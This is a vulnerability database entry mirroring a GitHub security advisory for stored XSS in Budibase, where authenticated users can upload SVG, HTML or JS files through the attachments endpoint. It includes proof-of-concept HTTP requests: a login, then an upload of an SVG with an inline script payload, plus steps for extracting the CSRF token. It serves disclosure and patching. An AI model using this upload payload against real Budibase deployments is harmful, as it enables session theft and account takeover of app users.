GHSA-82RC-GXRG-V4GF

Vulnerability from github – Published: 2026-05-19 16:31 – Updated: 2026-05-19 16:31
VLAI
Summary
Budibase: Unrestricted Upload of File with Dangerous Type
Details

Summary

The file upload endpoint POST /api/attachments/process does not enforce active-content restrictions for authenticated users. The checks for dangerous file extensions (html, svg, js, php, etc.) are conditionally wrapped inside if (isPublicUser) or if (isPublicUser || !env.SELF_HOSTED), meaning any authenticated builder can upload executable web content — SVG files with inline <script> tags, HTML pages with JavaScript, .js modules — which are then stored in the object store (MinIO/S3) with their correct MIME types (image/svg+xml, text/html, application/javascript). When the resulting signed URL is opened by any app user, the browser executes the payload.

Impact is persistent stored XSS over all application end users.

Details

The vulnerability exists in a single handler function uploadFile shared by two routes, located in packages/server/src/api/controllers/static/index.ts (lines 93–179).

Route definitions (packages/server/src/api/routes/static.ts):

POST /api/attachments/process → authorized(BUILDER) POST /api/attachments/:tableId/upload → authorized(PermissionType.TABLE, PermissionLevel.WRITE) Both routes invoke the same uploadFile function. The second endpoint is accessible to any authenticated app user (BASIC or POWER role) who has been granted WRITE on any table — not just builders.

PoC

Prerequisites

  • Budibase self-hosted Docker deployment, any version ≤ 3.30.6
  • An account with Builder role (does not require admin)
  • Target app published and accessible to end users

Step 1 — Authenticate as builder

POST /api/global/auth/default/login HTTP/1.1
Host: target:10000
Content-Type: application/json

{"username":"builder@company.com","password":"BuilderPass1!"}
HTTP/1.1 200 OK
Set-Cookie: budibase:auth=<jwt>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT
Set-Cookie: budibase:auth.sig=<sig>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT

{"message":"Login successful"}

The CSRF token is bound to the session. Browsers send it automatically via the Budibase frontend JS. For scripted requests, decode the JWT payload (base64url second segment) to extract sessionId, then read the Redis key session-<userId>/<sessionId>csrfToken.

Step 2 — Upload SVG with XSS payload

POST /api/attachments/process HTTP/1.1
Host: target:10000
Cookie: budibase:auth=<jwt>; budibase:auth.sig=<sig>
x-budibase-app-id: <dev_app_id>
x-csrf-token: <csrf_token>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Length: 391

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="file"; filename="xss.svg"
Content-Type: image/svg+xml

<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script></svg>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
HTTP/1.1 200 OK

[{"size":207,"name":"xss.svg","url":"http://target:10000/files/signed/.../<uuid>.svg?X-Amz-...","extension":"svg","key":"workspace_id/attachments/<uuid>.svg"}]

Impact

  • App end users - Stored XSS on any screen containing the attachment URL. Session cookie theft → full account takeover. |
  • Builder accounts - If malicious URL is shared within the workspace (table attachment, embedded image), XSS fires in builder's session → workspace takeover.

image

image


Discovered By: Abdulrahman Albatel Abdullah Alrasheed

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "budibase"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.38.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46426"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T16:31:30Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe file upload endpoint `POST /api/attachments/process` does not enforce active-content restrictions for authenticated users. The checks for dangerous file extensions (`html`, `svg`, `js`, `php`, etc.) are conditionally wrapped inside `if (isPublicUser)` or `if (isPublicUser || !env.SELF_HOSTED)`, meaning any authenticated builder can upload executable web content \u2014 SVG files with inline `\u003cscript\u003e` tags, HTML pages with JavaScript, `.js` modules \u2014 which are then stored in the object store (MinIO/S3) with their correct MIME types (`image/svg+xml`, `text/html`, `application/javascript`). When the resulting signed URL is opened by any app user, the browser executes the payload.\n\nImpact is **persistent stored XSS** over all application end users.\n\n### Details\nThe vulnerability exists in a single handler function uploadFile shared by two routes, located in packages/server/src/api/controllers/static/index.ts (lines 93\u2013179).\n\nRoute definitions (packages/server/src/api/routes/static.ts):\n\nPOST /api/attachments/process              \u2192 authorized(BUILDER)\nPOST /api/attachments/:tableId/upload      \u2192 authorized(PermissionType.TABLE, PermissionLevel.WRITE)\nBoth routes invoke the same uploadFile function. The second endpoint is accessible to any authenticated app user (BASIC or POWER role) who has been granted WRITE on any table \u2014 not just builders.\n\n### PoC\n\n### Prerequisites\n\n- Budibase self-hosted Docker deployment, any version \u2264 3.30.6\n- An account with Builder role (does **not** require admin)\n- Target app published and accessible to end users\n\n### Step 1 \u2014 Authenticate as builder\n\n```http\nPOST /api/global/auth/default/login HTTP/1.1\nHost: target:10000\nContent-Type: application/json\n\n{\"username\":\"builder@company.com\",\"password\":\"BuilderPass1!\"}\n```\n\n```\nHTTP/1.1 200 OK\nSet-Cookie: budibase:auth=\u003cjwt\u003e; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT\nSet-Cookie: budibase:auth.sig=\u003csig\u003e; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT\n\n{\"message\":\"Login successful\"}\n```\n\nThe CSRF token is bound to the session. Browsers send it automatically via the Budibase\nfrontend JS. For scripted requests, decode the JWT payload (base64url second segment) to\nextract `sessionId`, then read the Redis key `session-\u003cuserId\u003e/\u003csessionId\u003e` \u2192 `csrfToken`.\n\n### Step 2 \u2014 Upload SVG with XSS payload\n\n```http\nPOST /api/attachments/process HTTP/1.1\nHost: target:10000\nCookie: budibase:auth=\u003cjwt\u003e; budibase:auth.sig=\u003csig\u003e\nx-budibase-app-id: \u003cdev_app_id\u003e\nx-csrf-token: \u003ccsrf_token\u003e\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXX\nContent-Length: 391\n\n------WebKitFormBoundaryXXXXXXXXXXXXXXXX\nContent-Disposition: form-data; name=\"file\"; filename=\"xss.svg\"\nContent-Type: image/svg+xml\n\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003cscript\u003ealert(document.domain)\u003c/script\u003e\u003c/svg\u003e\n------WebKitFormBoundaryXXXXXXXXXXXXXXXX--\n```\n\n```json\nHTTP/1.1 200 OK\n\n[{\"size\":207,\"name\":\"xss.svg\",\"url\":\"http://target:10000/files/signed/.../\u003cuuid\u003e.svg?X-Amz-...\",\"extension\":\"svg\",\"key\":\"workspace_id/attachments/\u003cuuid\u003e.svg\"}]\n```\n### Impact\n* App end users - Stored XSS on any screen containing the attachment URL. Session cookie theft \u2192 full account takeover. |\n* Builder accounts - If malicious URL is shared within the workspace (table attachment, embedded image), XSS fires in builder\u0027s session \u2192 workspace takeover. \n\n\n\u003cimg width=\"3087\" height=\"1489\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b0ee0263-85de-430e-9575-88ec91eae565\" /\u003e\n\n\n\u003cimg width=\"2100\" height=\"1016\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5133bb1e-f637-479e-952f-14b3265129b4\" /\u003e\n\n\n\n\n\n\n\n--------\nDiscovered By:\nAbdulrahman Albatel\nAbdullah Alrasheed",
  "id": "GHSA-82rc-gxrg-v4gf",
  "modified": "2026-05-19T16:31:30Z",
  "published": "2026-05-19T16:31:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-82rc-gxrg-v4gf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.38.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: Unrestricted Upload of File with Dangerous Type"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…